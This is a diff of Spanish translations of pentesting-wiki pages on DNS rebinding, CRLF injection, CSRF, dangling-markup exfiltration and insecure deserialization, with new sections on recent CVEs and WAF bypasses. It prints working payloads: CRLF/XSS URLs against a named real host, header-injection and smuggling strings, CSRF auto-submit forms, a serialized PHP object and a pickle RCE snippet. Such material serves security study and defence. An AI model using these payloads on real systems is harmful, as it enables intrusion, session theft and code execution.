> Ten en cuenta que para acceder a localhost deberías intentar rebind **127.0.0.1** en Windows y **0.0.0.0** en Linux.\ -> Proveedores como godaddy o cloudflare no me permitieron usar la IP 0.0.0.0, pero AWS route53 me permitió crear un registro A con 2 IPs siendo una de ellas "0.0.0.0" +> Proveedores como godaddy o cloudflare no me permitieron usar la IP 0.0.0.0, pero AWS route53 me permitió crear un registro A con 2 IPs, siendo una de ellas "0.0.0.0" > > @@ -375,21 +376,21 @@ Para más información, puedes consultar [https://unit42.paloaltonetworks.com/dn ### Otros Bypasses Comunes - Si **las IPs internas no están permitidas**, podrían **olvidar prohibir 0.0.0.0** (funciona en Linux y Mac) -- Si **las IPs internas no están permitidas**, responde con un **CNAME** a **localhost** (funciona en Linux y Mac) +- Si **las IPs internas no están permitidas**, responder con un **CNAME** a **localhost** (funciona en Linux y Mac) - Si **las IPs internas no están permitidas** como respuestas DNS, puedes responder **CNAMEs a servicios internos** como www.corporate.internal. -### Rebinding DNS Arma +### Rebinding de DNS Arma Puedes encontrar más información sobre las técnicas de bypass anteriores y cómo usar la siguiente herramienta en la charla [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ). -[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) es una herramienta para realizar ataques de [rebinding DNS](https://en.wikipedia.org/wiki/DNS_rebinding). Incluye los componentes necesarios para volver a enlazar la dirección IP del nombre DNS del servidor de ataque a la dirección IP de la máquina objetivo y para servir cargas útiles de ataque para explotar software vulnerable en la máquina objetivo. +[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) es una herramienta para realizar ataques de [rebinding de DNS](https://en.wikipedia.org/wiki/DNS_rebinding). Incluye los componentes necesarios para volver a enlazar la dirección IP del nombre DNS del servidor de ataque a la dirección IP de la máquina objetivo y para servir cargas útiles de ataque para explotar software vulnerable en la máquina objetivo. -### Protección Real contra el Rebinding DNS +### Protección Real contra el Rebinding de DNS - Usa TLS en servicios internos - Solicita autenticación para acceder a datos - Valida el encabezado Host -- [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Propuesta para siempre enviar una solicitud pre-vuelo cuando los servidores públicos quieren acceder a servidores internos +- [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Propuesta para siempre enviar una solicitud previa cuando los servidores públicos quieren acceder a servidores internos ## **Herramientas** diff --git a/src/pentesting-web/crlf-0d-0a.md b/src/pentesting-web/crlf-0d-0a.md index 3a1fafa98..d0f079e9c 100644 --- a/src/pentesting-web/crlf-0d-0a.md +++ b/src/pentesting-web/crlf-0d-0a.md @@ -35,7 +35,7 @@ El atacante así oculta sus actividades maliciosas haciendo que parezca que el l #### Descripción -HTTP Response Splitting es una vulnerabilidad de seguridad que surge cuando un atacante explota la estructura de las respuestas HTTP. Esta estructura separa los encabezados del cuerpo utilizando una secuencia de caracteres específica, Carriage Return (CR) seguido de Line Feed (LF), denominados colectivamente como CRLF. Si un atacante logra insertar una secuencia CRLF en un encabezado de respuesta, puede manipular efectivamente el contenido de la respuesta subsiguiente. Este tipo de manipulación puede llevar a graves problemas de seguridad, notablemente Cross-site Scripting (XSS). +HTTP Response Splitting es una vulnerabilidad de seguridad que surge cuando un atacante explota la estructura de las respuestas HTTP. Esta estructura separa los encabezados del cuerpo utilizando una secuencia de caracteres específica, Carriage Return (CR) seguido de Line Feed (LF), denominado colectivamente como CRLF. Si un atacante logra insertar una secuencia CRLF en un encabezado de respuesta, puede manipular efectivamente el contenido de la respuesta subsiguiente. Este tipo de manipulación puede llevar a graves problemas de seguridad, notablemente Cross-site Scripting (XSS). #### XSS a través de HTTP Response Splitting @@ -68,7 +68,7 @@ Puedes enviar la carga útil **dentro de la ruta de URL** para controlar la **re http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E ``` -Check more examples in: +Revisa más ejemplos en: {{#ref}} https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md @@ -76,11 +76,11 @@ https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf. ### Inyección de Encabezados HTTP -La inyección de encabezados HTTP, a menudo explotada a través de la inyección CRLF (Carriage Return and Line Feed), permite a los atacantes insertar encabezados HTTP. Esto puede socavar mecanismos de seguridad como los filtros XSS (Cross-Site Scripting) o la SOP (Same-Origin Policy), lo que potencialmente lleva a un acceso no autorizado a datos sensibles, como tokens CSRF, o a la manipulación de sesiones de usuario a través de la inserción de cookies. +La inyección de encabezados HTTP, a menudo explotada a través de la inyección CRLF (Carriage Return and Line Feed), permite a los atacantes insertar encabezados HTTP. Esto puede socavar mecanismos de seguridad como los filtros XSS (Cross-Site Scripting) o la SOP (Same-Origin Policy), lo que podría llevar al acceso no autorizado a datos sensibles, como tokens CSRF, o a la manipulación de sesiones de usuario a través de la inserción de cookies. #### Explotación de CORS a través de la Inyección de Encabezados HTTP -Un atacante puede inyectar encabezados HTTP para habilitar CORS (Cross-Origin Resource Sharing), eludiendo las restricciones impuestas por la SOP. Esta brecha permite que scripts de orígenes maliciosos interactúen con recursos de un origen diferente, accediendo potencialmente a datos protegidos. +Un atacante puede inyectar encabezados HTTP para habilitar CORS (Cross-Origin Resource Sharing), eludiendo las restricciones impuestas por la SOP. Esta violación permite que scripts de orígenes maliciosos interactúen con recursos de un origen diferente, accediendo potencialmente a datos protegidos. #### SSRF e Inyección de Solicitudes HTTP a través de CRLF @@ -125,7 +125,7 @@ Después, se puede especificar una segunda solicitud. Este escenario típicament `GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1` -2. **Creación de un Prefijo para el Envenenamiento de la Cola de Respuestas**: Este enfoque implica crear un prefijo que, cuando se combina con basura al final, forma una segunda solicitud completa. Esto puede desencadenar el envenenamiento de la cola de respuestas. Un ejemplo es: +2. **Creación de un Prefijo para el Envenenamiento de la Cola de Respuestas**: Este enfoque implica crear un prefijo que, cuando se combina con basura al final, forma una segunda solicitud completa. Esto puede activar el envenenamiento de la cola de respuestas. Un ejemplo es: `GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1` @@ -139,7 +139,7 @@ Memcache es un **almacenamiento de clave-valor que utiliza un protocolo de texto **Para la información completa, lea el**[ **informe original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) -Si una plataforma está tomando **datos de una solicitud HTTP y usándolos sin sanitizar** para realizar **solicitudes** a un servidor **memcache**, un atacante podría abusar de este comportamiento para **inyectar nuevos comandos de memcache**. +Si una plataforma está tomando **datos de una solicitud HTTP y usándolos sin sanitizarlos** para realizar **solicitudes** a un servidor **memcache**, un atacante podría abusar de este comportamiento para **inyectar nuevos comandos de memcache**. Por ejemplo, en la vulnerabilidad descubierta originalmente, se usaron claves de caché para devolver la IP y el puerto a los que un usuario debería conectarse, y los atacantes pudieron **inyectar comandos de memcache** que **envenenarían** la **caché para enviar los detalles de las víctimas** (nombres de usuario y contraseñas incluidos) a los servidores del atacante: @@ -154,7 +154,7 @@ Además, los investigadores también descubrieron que podían desincronizar las Para mitigar los riesgos de inyecciones CRLF (Carriage Return y Line Feed) o inyecciones de encabezados HTTP en aplicaciones web, se recomiendan las siguientes estrategias: 1. **Evitar la Entrada Directa del Usuario en los Encabezados de Respuesta:** El enfoque más seguro es abstenerse de incorporar la entrada proporcionada por el usuario directamente en los encabezados de respuesta. -2. **Codificar Caracteres Especiales:** Si evitar la entrada directa del usuario no es factible, asegúrese de emplear una función dedicada a codificar caracteres especiales como CR (Carriage Return) y LF (Line Feed). Esta práctica previene la posibilidad de inyección CRLF. +2. **Codificar Caracteres Especiales:** Si no es factible evitar la entrada directa del usuario, asegúrese de emplear una función dedicada a codificar caracteres especiales como CR (Carriage Return) y LF (Line Feed). Esta práctica previene la posibilidad de inyección CRLF. 3. **Actualizar el Lenguaje de Programación:** Actualice regularmente el lenguaje de programación utilizado en sus aplicaciones web a la última versión. Opte por una versión que inherentemente no permita la inyección de caracteres CR y LF dentro de las funciones encargadas de establecer encabezados HTTP. ### CHEATSHEET @@ -181,20 +181,57 @@ Para mitigar los riesgos de inyecciones CRLF (Carriage Return y Line Feed) o iny • %E5%98%BC = %3C = \u563c (<) • Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test ``` +### Vulnerabilidades Recientes (2023 – 2025) + +Los últimos años han producido varios errores de inyección de encabezados CRLF/HTTP de alto impacto en componentes ampliamente utilizados del lado del servidor y del cliente. Reproducir y estudiar estos errores localmente es una excelente manera de entender los patrones de explotación en el mundo real. + +| Año | Componente | CVE / Aviso | Causa raíz | Destacar PoC | +|------|-----------|---------------|------------|---------------| +| 2024 | RestSharp (≥110.0.0 <110.2.0) | **CVE-2024-45302** | El helper `AddHeader()` no sanitizaba CR/LF, permitiendo la construcción de múltiples encabezados de solicitud cuando RestSharp se utiliza como cliente HTTP dentro de servicios de back-end. Los sistemas de downstream podrían ser forzados a SSRF o a enmascaramiento de solicitudes. | `client.AddHeader("X-Foo","bar%0d%0aHost:evil")` | +| 2024 | Refit (≤ 7.2.101) | **CVE-2024-51501** | Los atributos de encabezado en los métodos de la interfaz se copiaron textualmente en la solicitud. Al incrustar `%0d%0a`, los atacantes podían agregar encabezados arbitrarios o incluso una segunda solicitud cuando Refit era utilizado por trabajos de servidor. | `[Headers("X: a%0d%0aContent-Length:0%0d%0a%0d%0aGET /admin HTTP/1.1")]` | +| 2023 | Apache APISIX Dashboard | **GHSA-4h3j-f5x9-r6x3** | El parámetro `redirect` proporcionado por el usuario se reflejó en un encabezado `Location:` sin codificación, habilitando redirección abierta + envenenamiento de caché. | `/login?redirect=%0d%0aContent-Type:text/html%0d%0a%0d%0a` | + +Estos errores son importantes porque se activan **dentro del código a nivel de aplicación** y no solo en el borde del servidor web. Cualquier componente interno que realice solicitudes HTTP o establezca encabezados de respuesta debe, por lo tanto, hacer cumplir el filtrado de CR/LF. + +### Bypass Avanzados de Unicode / Caracteres de Control + +Las pilas modernas de WAF/reescritores a menudo eliminan `\r`/`\n` literales pero olvidan otros caracteres que muchos back-ends tratan como terminadores de línea. Cuando CRLF es filtrado, prueba: + +* `%E2%80%A8` (`U+2028` – SEPARADOR DE LÍNEA) +* `%E2%80%A9` (`U+2029` – SEPARADOR DE PÁRRAFO) +* `%C2%85` (`U+0085` – PRÓXIMA LÍNEA) + +Algunos frameworks de Java, Python y Go convierten estos a `\n` durante el análisis de encabezados (ver la investigación de Praetorian de 2023). Combínalos con cargas útiles clásicas: +``` +/%0A%E2%80%A8Set-Cookie:%20admin=true +``` +Si el filtro normaliza UTF-8 primero, el carácter de control se convierte en un salto de línea regular y el encabezado inyectado es aceptado. + +### Evasión de WAF a través del truco de `Content-Encoding` duplicado (2023) + +Los investigadores de Praetorian también demostraron que al inyectar: +``` +%0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a +``` +en un encabezado reflejado, los navegadores ignorarán el cuerpo proporcionado por el servidor y renderizarán HTML suministrado por el atacante que sigue, dando XSS almacenado incluso cuando el contenido de la aplicación es inerte. Debido a que `Content-Encoding: identity` es permitido por el RFC 9110, muchos proxies inversos lo reenvían sin cambios. + ## Herramientas Automáticas -- [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite) -- [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz) +* [CRLFsuite](https://github.com/Raghavd3v/CRLFsuite) – escáner activo rápido escrito en Go. +* [crlfuzz](https://github.com/dwisiswant0/crlfuzz) – fuzzer basado en listas de palabras que soporta cargas útiles de nueva línea Unicode. +* [crlfix](https://github.com/glebarez/crlfix) – utilidad de 2024 que parchea solicitudes HTTP generadas por programas Go y puede usarse de forma independiente para probar servicios internos. ## Lista de Detección de Fuerza Bruta -- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt) +- [carlospolop/Auto_Wordlists – crlf.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt) ## Referencias -- [**https://www.invicti.com/blog/web-security/crlf-http-header/**](https://www.invicti.com/blog/web-security/crlf-http-header/) -- [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/) -- [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning) -- [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/) +- [https://www.invicti.com/blog/web-security/crlf-http-header/](https://www.invicti.com/blog/web-security/crlf-http-header/) +- [https://www.acunetix.com/websitesecurity/crlf-injection/](https://www.acunetix.com/websitesecurity/crlf-injection/) +- [https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning) +- [https://www.netsparker.com/blog/web-security/crlf-http-header/](https://www.netsparker.com/blog/web-security/crlf-http-header/) +- [https://nvd.nist.gov/vuln/detail/CVE-2024-45302](https://nvd.nist.gov/vuln/detail/CVE-2024-45302) +- [https://security.praetorian.com/blog/2023-unicode-newlines-bypass/](https://security.praetorian.com/blog/2023-unicode-newlines-bypass/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/csrf-cross-site-request-forgery.md b/src/pentesting-web/csrf-cross-site-request-forgery.md index a45872f74..e2f971a94 100644 --- a/src/pentesting-web/csrf-cross-site-request-forgery.md +++ b/src/pentesting-web/csrf-cross-site-request-forgery.md @@ -11,7 +11,7 @@ Para explotar una vulnerabilidad CSRF, se deben cumplir varias condiciones: 1. **Identificar una acción valiosa**: El atacante necesita encontrar una acción que valga la pena explotar, como cambiar la contraseña del usuario, el correo electrónico o elevar privilegios. -2. **Gestión de sesiones**: La sesión del usuario debe ser gestionada únicamente a través de cookies o el encabezado de autenticación básica HTTP, ya que otros encabezados no pueden ser manipulados para este propósito. +2. **Gestión de sesiones**: La sesión del usuario debe ser gestionada únicamente a través de cookies o el encabezado de Autenticación Básica HTTP, ya que otros encabezados no pueden ser manipulados para este propósito. 3. **Ausencia de parámetros impredecibles**: La solicitud no debe contener parámetros impredecibles, ya que pueden prevenir el ataque. ### Verificación rápida @@ -39,7 +39,7 @@ Entender e implementar estas defensas es crucial para mantener la seguridad e in ### De POST a GET -Quizás el formulario que deseas abusar está preparado para enviar una **solicitud POST con un token CSRF, pero** deberías **verificar** si un **GET** también es **válido** y si cuando envías una solicitud GET el **token CSRF todavía se está validando**. +Quizás el formulario que deseas abusar está preparado para enviar una **solicitud POST con un token CSRF, pero** debes **verificar** si un **GET** también es **válido** y si cuando envías una solicitud GET el **token CSRF todavía se está validando**. ### Falta de token @@ -47,7 +47,7 @@ Las aplicaciones pueden implementar un mecanismo para **validar tokens** cuando ### El token CSRF no está vinculado a la sesión del usuario -Las aplicaciones **que no vinculan los tokens CSRF a las sesiones de usuario** presentan un **riesgo de seguridad** significativo. Estos sistemas verifican los tokens contra un **pool global** en lugar de asegurarse de que cada token esté vinculado a la sesión iniciadora. +Las aplicaciones **que no vinculan los tokens CSRF a las sesiones de usuario** presentan un **riesgo de seguridad** significativo. Estos sistemas verifican los tokens contra un **pool global** en lugar de asegurar que cada token esté vinculado a la sesión iniciadora. Así es como los atacantes explotan esto: @@ -102,18 +102,18 @@ onerror="document.forms[0].submit();" /> ``` -> [!NOTE] -> Tenga en cuenta que si el **token csrf está relacionado con la cookie de sesión, este ataque no funcionará** porque necesitará establecer la sesión del víctima, y por lo tanto, se estará atacando a sí mismo. +> [!TIP] +> Ten en cuenta que si el **token csrf está relacionado con la cookie de sesión, este ataque no funcionará** porque necesitarás establecer la sesión de la víctima, y por lo tanto estarás atacándote a ti mismo. ### Cambio de Content-Type -De acuerdo con [**esto**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), para **evitar** solicitudes de **preflight** utilizando el método **POST**, estos son los valores de Content-Type permitidos: +De acuerdo a [**esto**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), para **evitar** solicitudes de **preflight** utilizando el método **POST**, estos son los valores de Content-Type permitidos: - **`application/x-www-form-urlencoded`** - **`multipart/form-data`** - **`text/plain`** -Sin embargo, tenga en cuenta que la **lógica del servidor puede variar** dependiendo del **Content-Type** utilizado, por lo que debería probar los valores mencionados y otros como **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ +Sin embargo, ten en cuenta que la **lógica del servidor puede variar** dependiendo del **Content-Type** utilizado, así que deberías probar los valores mencionados y otros como **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ Ejemplo (de [aquí](https://brycec.me/posts/corctf_2021_challenges)) de enviar datos JSON como text/plain: ```html @@ -139,10 +139,10 @@ form.submit() Al intentar enviar datos JSON a través de una solicitud POST, usar `Content-Type: application/json` en un formulario HTML no es directamente posible. De manera similar, utilizar `XMLHttpRequest` para enviar este tipo de contenido inicia una solicitud preliminar. No obstante, hay estrategias para potencialmente eludir esta limitación y verificar si el servidor procesa los datos JSON independientemente del Content-Type: 1. **Usar Tipos de Contenido Alternativos**: Emplear `Content-Type: text/plain` o `Content-Type: application/x-www-form-urlencoded` configurando `enctype="text/plain"` en el formulario. Este enfoque prueba si el backend utiliza los datos sin importar el Content-Type. -2. **Modificar el Tipo de Contenido**: Para evitar una solicitud preliminar mientras se asegura que el servidor reconozca el contenido como JSON, puede enviar los datos con `Content-Type: text/plain; application/json`. Esto no activa una solicitud preliminar, pero podría ser procesado correctamente por el servidor si está configurado para aceptar `application/json`. -3. **Utilización de Archivos SWF Flash**: Un método menos común pero factible implica usar un archivo SWF flash para eludir tales restricciones. Para una comprensión más profunda de esta técnica, consulte [esta publicación](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). +2. **Modificar el Tipo de Contenido**: Para evitar una solicitud preliminar mientras se asegura que el servidor reconozca el contenido como JSON, se puede enviar los datos con `Content-Type: text/plain; application/json`. Esto no activa una solicitud preliminar, pero podría ser procesado correctamente por el servidor si está configurado para aceptar `application/json`. +3. **Utilización de Archivos SWF Flash**: Un método menos común pero factible implica usar un archivo SWF flash para eludir tales restricciones. Para una comprensión más profunda de esta técnica, consulta [este post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). -### Bypass de verificación de Referer / Origen +### Bypass de verificación de Referente / Origen **Evitar el encabezado Referer** @@ -189,7 +189,7 @@ document.forms[0].submit() ``` ### **Bypass del método HEAD** -La primera parte de [**este informe de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que [el código fuente de Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un enrutador, está configurado para **manejar las solicitudes HEAD como solicitudes GET** sin cuerpo de respuesta, un método común que no es exclusivo de Oak. En lugar de un controlador específico que maneje las solicitudes HEAD, simplemente **se les da al controlador GET, pero la aplicación solo elimina el cuerpo de respuesta**. +La primera parte de [**este informe de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que [el código fuente de Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un enrutador, está configurado para **manejar las solicitudes HEAD como solicitudes GET** sin cuerpo de respuesta, un método común que no es exclusivo de Oak. En lugar de un controlador específico que maneje las solicitudes HEAD, simplemente **se les da al controlador GET, pero la aplicación solo elimina el cuerpo de la respuesta**. Por lo tanto, si una solicitud GET está siendo limitada, podrías simplemente **enviar una solicitud HEAD que será procesada como una solicitud GET**. diff --git a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md index a215088a3..8a35b133b 100644 --- a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md +++ b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md @@ -4,8 +4,8 @@ ## Resumen -Esta técnica se puede usar para extraer información de un usuario cuando se encuentra una **inyección HTML**. Esto es muy útil si **no encuentras ninguna forma de explotar un** [**XSS**](../xss-cross-site-scripting/index.html) pero puedes **inyectar algunas etiquetas HTML**.\ -También es útil si algún **secreto está guardado en texto claro** en el HTML y deseas **exfiltrarlo** del cliente, o si quieres desviar la ejecución de algún script. +Esta técnica se puede usar para extraer información de un usuario cuando se encuentra una **inyección HTML**. Esto es muy útil si **no encuentras ninguna forma de explotar un** [**XSS** ](../xss-cross-site-scripting/index.html) pero puedes **inyectar algunas etiquetas HTML**.\ +También es útil si algún **secreto se guarda en texto claro** en el HTML y deseas **exfiltrarlo** del cliente, o si quieres desviar la ejecución de algún script. Varias técnicas comentadas aquí se pueden usar para eludir alguna [**Política de Seguridad de Contenidos**](../content-security-policy-csp-bypass/index.html) al exfiltrar información de maneras inesperadas (etiquetas html, CSS, etiquetas http-meta, formularios, base...). @@ -15,7 +15,7 @@ Varias técnicas comentadas aquí se pueden usar para eludir alguna [**Política Si inyectas `` esto sobrescribirá el siguiente encabezado de formulario y todos los datos del formulario se enviarán al atacante. +Establecer un encabezado de formulario: `
` esto sobrescribirá el siguiente encabezado de formulario y todos los datos del formulario se enviarán al atacante. ### Robando formularios 3 @@ -65,7 +65,7 @@ Usando la técnica mencionada más reciente para robar formularios (inyectando u ```html `. Todos los datos hasta que se encuentre un `` cerrado serán enviados: ```html @@ -96,7 +96,7 @@ Una forma de exfiltrar el contenido de la página web desde el punto de inyecci ``` ### Bypass de CSP con interacción del usuario -De esta [investigación de portswiggers](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) puedes aprender que incluso desde los entornos **más restringidos por CSP** aún puedes **exfiltrar datos** con algo de **interacción del usuario**. En esta ocasión vamos a usar la carga útil: +De esta [investigación de portswiggers](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) puedes aprender que incluso desde los **entornos más restringidos por CSP** aún puedes **exfiltrar datos** con algo de **interacción del usuario**. En esta ocasión vamos a usar la carga útil: ```html You must click me > ```php > class MyClass { -> private $property; +> private $property; > -> public function __unserialize(array $data): void { -> $this->property = $data['property']; -> // Realiza cualquier tarea necesaria al deserializar. -> } +> public function __unserialize(array $data): void { +> $this->property = $data['property']; +> // Realiza cualquier tarea necesaria al deserializar. +> } > } > ``` @@ -100,7 +100,7 @@ Podrías abusar de la funcionalidad de autoload de PHP para cargar archivos php php-deserialization-+-autoload-classes.md {{#endref}} -### Serializando Valores Referenciados +### Serializing Referenced Values Si por alguna razón deseas serializar un valor como una **referencia a otro valor serializado**, puedes: ```php @@ -115,16 +115,69 @@ $o->param1 =& $o->param22; $o->param = "PARAM"; $ser=serialize($o); ``` +### Prevención de la Inyección de Objetos PHP con `allowed_classes` + +> [!INFO] +> El soporte para el **segundo argumento** de `unserialize()` (el array `$options`) se agregó en **PHP 7.0**. En versiones anteriores, la función solo acepta la cadena serializada, lo que hace imposible restringir qué clases pueden ser instanciadas. + +`unserialize()` **instanciará cada clase** que encuentre dentro del flujo serializado a menos que se indique lo contrario. Desde PHP 7, el comportamiento se puede restringir con la opción [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php): +```php +// NEVER DO THIS – full object instantiation +$object = unserialize($userControlledData); + +// SAFER – disable object instantiation completely +$object = unserialize($userControlledData, [ +'allowed_classes' => false // no classes may be created +]); + +// Granular – only allow a strict white-list of models +$object = unserialize($userControlledData, [ +'allowed_classes' => [MyModel::class, DateTime::class] +]); +``` +Si **`allowed_classes` se omite _o_ el código se ejecuta en PHP < 7.0**, la llamada se vuelve **peligrosa** ya que un atacante puede crear una carga útil que abuse de métodos mágicos como `__wakeup()` o `__destruct()` para lograr la Ejecución Remota de Código (RCE). + +#### Ejemplo del mundo real: Everest Forms (WordPress) CVE-2025-52709 + +El plugin de WordPress **Everest Forms ≤ 3.2.2** intentó ser defensivo con un envoltorio auxiliar pero se olvidó de las versiones antiguas de PHP: +```php +function evf_maybe_unserialize($data, $options = array()) { +if (is_serialized($data)) { +if (version_compare(PHP_VERSION, '7.1.0', '>=')) { +// SAFE branch (PHP ≥ 7.1) +$options = wp_parse_args($options, array('allowed_classes' => false)); +return @unserialize(trim($data), $options); +} +// DANGEROUS branch (PHP < 7.1) +return @unserialize(trim($data)); +} +return $data; +} +``` +En servidores que aún ejecutaban **PHP ≤ 7.0**, esta segunda rama llevó a una clásica **PHP Object Injection** cuando un administrador abría un envío de formulario malicioso. Una carga útil de explotación mínima podría verse así: +``` +O:8:"SomeClass":1:{s:8:"property";s:28:"";} +``` +Tan pronto como el administrador vio la entrada, el objeto fue instanciado y `SomeClass::__destruct()` se ejecutó, lo que resultó en la ejecución de código arbitrario. + +**Conclusiones** +1. Siempre pasa `['allowed_classes' => false]` (o una lista blanca estricta) al llamar a `unserialize()`. +2. Audita los envoltorios defensivos: a menudo se olvidan de las ramas de PHP heredadas. +3. Actualizar a **PHP ≥ 7.x** por sí solo *no* es suficiente: la opción aún necesita ser proporcionada explícitamente. + +--- + ### PHPGGC (ysoserial para PHP) -[**PHPGGC**](https://github.com/ambionics/phpggc) puede ayudarte a generar payloads para abusar de las deserializaciones de PHP.\ -Ten en cuenta que en varios casos **no podrás encontrar una forma de abusar de una deserialización en el código fuente** de la aplicación, pero podrías **abusar del código de extensiones PHP externas.**\ -Así que, si puedes, revisa el `phpinfo()` del servidor y **busca en internet** (e incluso en los **gadgets** de **PHPGGC**) algunos posibles gadgets que podrías abusar. +[**PHPGGC**](https://github.com/ambionics/phpggc) puede ayudarte a generar cargas útiles para abusar de las deserializaciones de PHP.\ +Ten en cuenta que en varios casos **no podrás encontrar una manera de abusar de una deserialización en el código fuente** de la aplicación, pero podrías **abusar del código de extensiones PHP externas.**\ +Así que, si puedes, revisa el `phpinfo()` del servidor y **busca en internet** (incluso en los **gadgets** de **PHPGGC**) algunos posibles gadgets que podrías abusar. ### deserialización de metadatos phar:// Si has encontrado un LFI que solo está leyendo el archivo y no ejecutando el código php dentro de él, por ejemplo, usando funciones como _**file_get_contents(), fopen(), file() o file_exists(), md5_file(), filemtime() o filesize()**_**.** Puedes intentar abusar de una **deserialización** que ocurre al **leer** un **archivo** usando el protocolo **phar**.\ -Para más información, lee el siguiente post: +Para más información, lee la siguiente publicación: + {{#ref}} ../file-inclusion/phar-deserialization.md @@ -134,7 +187,7 @@ Para más información, lee el siguiente post: ### **Pickle** -Cuando el objeto se deserializa, se ejecutará la función \_\_\_reduce\_\_\_.\ +Cuando el objeto se deserializa, la función \_\_\_reduce\_\_\_ se ejecutará.\ Cuando se explota, el servidor podría devolver un error. ```python import pickle, os, base64 @@ -153,7 +206,7 @@ Para más información sobre cómo escapar de **pickle jails** consulta: ### Yaml **&** jsonpickle -La siguiente página presenta la técnica para **abusar de una deserialización insegura en bibliotecas de yamls** de python y termina con una herramienta que se puede usar para generar cargas útiles de deserialización RCE para **Pickle, PyYAML, jsonpickle y ruamel.yaml**: +La siguiente página presenta la técnica para **abusar de una deserialización insegura en bibliotecas de python de yamls** y termina con una herramienta que se puede usar para generar cargas útiles de deserialización RCE para **Pickle, PyYAML, jsonpickle y ruamel.yaml**: {{#ref}} python-yaml-deserialization.md @@ -200,6 +253,7 @@ test_then() Si quieres aprender sobre esta técnica **echa un vistazo al siguiente tutorial**: + {{#ref}} nodejs-proto-prototype-pollution/ {{#endref}} @@ -278,7 +332,7 @@ __js_function: } funcster.deepDeserialize(desertest3) ``` -**Para**[ **más información, lee esta fuente**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** +**Para**[ **más información, lea esta fuente**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** ### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript) @@ -315,25 +369,25 @@ En las siguientes páginas puedes encontrar información sobre cómo abusar de e En Java, **los callbacks de deserialización se ejecutan durante el proceso de deserialización**. Esta ejecución puede ser explotada por atacantes que crean cargas útiles maliciosas que activan estos callbacks, lo que lleva a la posible ejecución de acciones dañinas. -### Huellas +### Huellas digitales -#### Caja Blanca +#### Caja blanca Para identificar posibles vulnerabilidades de serialización en la base de código, busca: - Clases que implementen la interfaz `Serializable`. -- Uso de `java.io.ObjectInputStream`, `readObject`, `readUnshare` funciones. +- Uso de las funciones `java.io.ObjectInputStream`, `readObject`, `readUnshare`. Presta especial atención a: - `XMLDecoder` utilizado con parámetros definidos por usuarios externos. - El método `fromXML` de `XStream`, especialmente si la versión de XStream es menor o igual a 1.46, ya que es susceptible a problemas de serialización. - `ObjectInputStream` acoplado con el método `readObject`. -- Implementación de métodos como `readObject`, `readObjectNodData`, `readResolve`, o `readExternal`. +- Implementación de métodos como `readObject`, `readObjectNodData`, `readResolve` o `readExternal`. - `ObjectInputStream.readUnshared`. - Uso general de `Serializable`. -#### Caja Negra +#### Caja negra Para pruebas de caja negra, busca **firmas específicas o "Bytes Mágicos"** que denoten objetos serializados de Java (originados de `ObjectInputStream`): @@ -348,7 +402,7 @@ 